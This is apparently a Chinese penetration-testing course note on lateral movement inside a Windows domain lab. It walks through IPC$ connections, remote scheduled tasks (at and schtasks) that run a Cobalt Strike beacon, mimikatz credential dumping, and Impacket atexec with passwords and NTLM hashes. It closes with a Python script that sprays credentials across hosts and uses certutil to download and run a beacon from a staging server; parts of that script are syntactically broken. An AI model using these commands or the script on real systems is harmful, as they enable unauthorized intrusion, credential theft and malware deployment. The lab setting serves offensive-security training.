内网安全-横向移动&IPC&AT&SC命令&Impacket套件&CS插件&全自动
目录
内网安全-横向移动&IPC&AT&SC命令&Impacket套件&CS插件&全自动
#知识点:
1、横向移动-IPC&at&schtasks
2、横向移动-Impacket套件&CS插件
3、横向移动-Socks代理自定义脚本批量
#横向移动系列点:
系统点:
windows->windows
windows->Linux
linux->windows
linux->linux
详细点:
IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,Plink,DCOM,Kerberos_TGS,GPO&DACL,
域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。
本节课开始就会进行横向移动的课程了,横向移动的重点就是移动到windows,不管是windows移动到windows还是linux移动到windows都是横向移动的重点,因为在域中,windows主机居多,linux比较少,linux没有域这个概念。但是linux也可以加入域。
本节课先讲IPC的内容,后续一节课会讲两到三个后面的名词。
域信息收集-目标&用户&凭据&网络
net user /domain
mimikatz logonpasswords
Ladon Adfinder BloodHound
首先我这里先把环境配置好,win7为webserver,win2008r2为DC,win2012为文件服务器,win10为飞哥机器,都是win2008的域内成员,云服务器为攻击者
只有win7能够和外网通讯,其他的都没有网络
首先我们这里已经利用web漏洞取得了win7的权限并上线了cs
此时我们在cs中输入命令,前面加个shell就是说用win7的cmd去执行操作,先判定是不是在域内
然后我们ping这个域控,看域控的ip是多少
这里我们便知道了域控的ip为192.168.3.21
接着我们看一下本机的ip,这里判断域内成员主机都在192.168.3.0/24这个网段,而这个192.168.253.128则是外网网卡
域横向移动-IPC-命令版-AT&schtasks
[at] & [schtasks]
0、上线配置
正向:
beacon_bind_tcp->beacon.exe
connect 192.168.3.32 4444
反向:
代理转发->转发上线->beacon.exe
1、at Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\ad
ministrator # 建立ipc连接:
copy beacon.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\beacon.exe #添加计划任务
2、schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\ad
ministrator # 建立ipc连接:
copy beacon.exe \\192.168.3.32\c$ #复制文件到其C盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F #创beacon任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务
schtasks /delete /s 192.168.3.21 /tn beacon /f#删除beacon任务
然后我们探测3网段存活主机,直接看135端口即可,这个好像一般都开着
这里我进行端口扫描,小迪的是没有显示这两个网段,是因为权限不够要先提权,这里我就不用提权
如果要提权的话就用这个ms14-058即可。等会我们要抓取明文密码,所以这里我们还提一下权比较好
然后我们这里也是探测到了域内成员主机,这里已经知道了win7的ip和域控的ip,我们先备注上
然后这里我们利用提权后的会话进行明文密码的抓取,有的不能抓明文只能抓hash
这里可以看到是利用的mimikatz读取的账号密码,这里读密码不仅和权限有关,还和内存有关,因为有的时候这个电脑登录用户没有这个,就比如这个用户pxy,可能这个在登录的时候没有pxy这个与用户,但是这个用户曾经登录过这台电脑,然后被写入到内存中了,这个时候也会被抓取出来。
mimikatz是用于windows的,一些主流的都可以读取,但是如果对方有补丁或者防护可能会读取失败。而linux则是有其他的工具
这里我们先利用IPC建立连接,这里可以利用正向连接也可以反向,我们先进行正向
IPC(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
生成一个正向tcp4444端口的监听器,用它生成一个木马,木马被执行之后就会把权限移交给本机的4444端口,然后我们再connect ip 端口即可
先看一下当前在win7的哪个目录
接着我们建立ipc连接,这里我们输入域控的密码,这个密码可以从刚才获取的明文密码那里尝试,但不一定对,这里我们先完成横向移动的操作,等会会说怎么获取密码
然后把生成的后门放到win7上面,因为是win7和域控通信,攻击机不能和域控通信
把刚才生成的后门上传到win7上面即可
拷贝后门文件到目标机器
此时我们再看这个域控的c盘就会发现多出来一个名为4444的后门
然后看一个现在的时候以便于等会设置定时任务
添加一个定时任务,然后等定时任务被触发直接连接即可
这里如果用at报错的话那可能就是横向移动的目标机器版本大于等于win2012,这个时候我们可以用命令schtasks
这里也是发现成功上线
反向也是很简单,直接在system那个会话设置一个转发上线即可,然后再生成个后门,让域控去找win7,然后因为是转发上线,直接就在CS上线了。这里就不再演示了。
补充:
IPC是专用管道,可以实现对远程计算机的访问,
需要使用目标系统用户的账号密码,使用139、445端口。
1. 建立IPC链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除IPC链接
net use \\server\ipc$ "password" /user:username # 工作组
net use \\server\ipc$ "password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享
#建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
#建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
域横向移动-IPC-插件版-CS&LSTARS
LSTARS-横向移动-IPC连接
我们之前安装的CS的插件也是可以利用IPC进行横向移动的
域横向移动-IPC-套件版-Impacket-atexec
impacket-atexec
该工具是一个半交互的工具,适用于Webshell下,Socks代理下;
在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试
python atexec.py god/administrator:Admin12345@192.168.3.21 "ver"
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
2、Exe版:RichChigga/impacket-examples-windows
CS本地用户明文连接:
shell atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
CS域内用户明文连接:
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "ver"
CS域内本地用户明文密文连接:
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
这个有两个版本,一个是py的,一个是exe的,我们先说一下这个exe的(两个都在资源库中)
首先我们应该清楚一件事,这个py版本的我们想要利用他进行横向移动,总不能要求目标机器有py环境把,因此这个py版本只能在自己的攻击机上面去运行,但是py版本的开业i打包成exe去运行。但是打包后的都是十几二十兆,这个在内网中已经不太行,单说传输就不行,这个太大了。并且有的时候目标在国外,敲命令都费劲,怎么可能上传一个这么大的exe,并且就算能上传,这么大的exe也很容易被发现在内网渗透中,不太隐蔽。像我们之前的后门都几十kb,反正要低于1兆差不多。
总结就是py版本的我们要在本机运行,但是此时我们不能连通内网,因此要利用proxifier进行代理转发,让我们利用代理技术实现与内网通信。而exe版的是放在已经取得权限的机器上运行。
Exe版
直接把这个exe的上传到已经受控的win7上面,敲下命令:atexec.exe xiaopei.online/administrator:123.com@192.168.3.21 "whoami"
把命令复制粘贴过去到虚拟机的时候要注意中间的空格删掉重新打空格
那么这里可以执行命令的话,我们就可以让他执行下载文件的命令,我们先把后门文件放到webserver的iis目录下,因为拿下的主机是网站服务器,他的80端口肯定是开启的
这里我么你就利用棱角社区生成个文件下载的命令,让这个win2012去下载win7上面的后门文件4444.exe,然后命名为zx.exe
这里是windows,所以就用个最常用的certutil这个命令去执行文件下载
执行命令之后,会下载到windows/system32目录下
然后直接执行这个zx.exe,接着用cs输入connect 192.168.3.30 4444进行连接即可。
这里如果是本机的话就是"." 如果是域内用户的话就写域的名字
并且这里我们如果之前没有抓取到明文密码的话,这里还可以利用hash进行横向移动
Py版
这个我们就要用到之前学的代理技术,然后直接在本机利用这个py文件直接攻击。
直接socks代理
配置好代理服务器和代理规则之后,我们本机就可以直接访问到内网了
然后我们就可以利用py版在本机执行命令了
这里说缺少个模块,自己下载个模块就好了
可以看到也是成功的利用代理执行了命令
但是这个只能一个一个的横向移动,因此我们可以写个简单的脚本进行批量的横向移动
域横向移动-IPC-代理版-Socks&Py&atexec
1、建立SOCK节点并连接
2、自写脚本批量下载上线
3、继续收集凭据横向移动
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'itadmin',
'jack',
'mary',
'vpnadm',
'webadmin'
}
passs={
'admin!@#45'
'Admin12345'
}
def xz():#下载后门
for ip in ips:
for user in users:
for mima in passs:
exec1='D:\Myproject\\venv\Scripts\python.exe D:\Myproject\impacket-master\examples\\atexec.py ./administrator:'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
exec2='D:\Myproject\\venv\Scripts\python.exe D:\Myproject\impacket-master\examples\\atexec.py god/'+user+':'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
#exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
print('--->'+exec1+'print('--->' + exec2 + '
os.system(exec1)
os.system(exec2)
def zx():#执行后门
for ip in ips:
for user in users:
for mima in passs:
#exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
exec1 = 'D:\Myproject\\venv\Scripts\python.exe D:\Myproject\impacket-master\examples\\atexec.py ./administrator:' + mima + '@' + ip + ' "c:/beacon.exe"'
exec2 = 'D:\Myproject\\venv\Scripts\python.exe D:\Myproject\impacket-master\examples\\atexec.py god/' + user + ':' + mima + '@' + ip + ' "c:/beacon.exe"'
#exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
print('--->' + exec1 + 'print('--->' + exec2 + '
os.system(exec1)
os.system(exec2)
if __name__ == '__main__':
xz()
zx()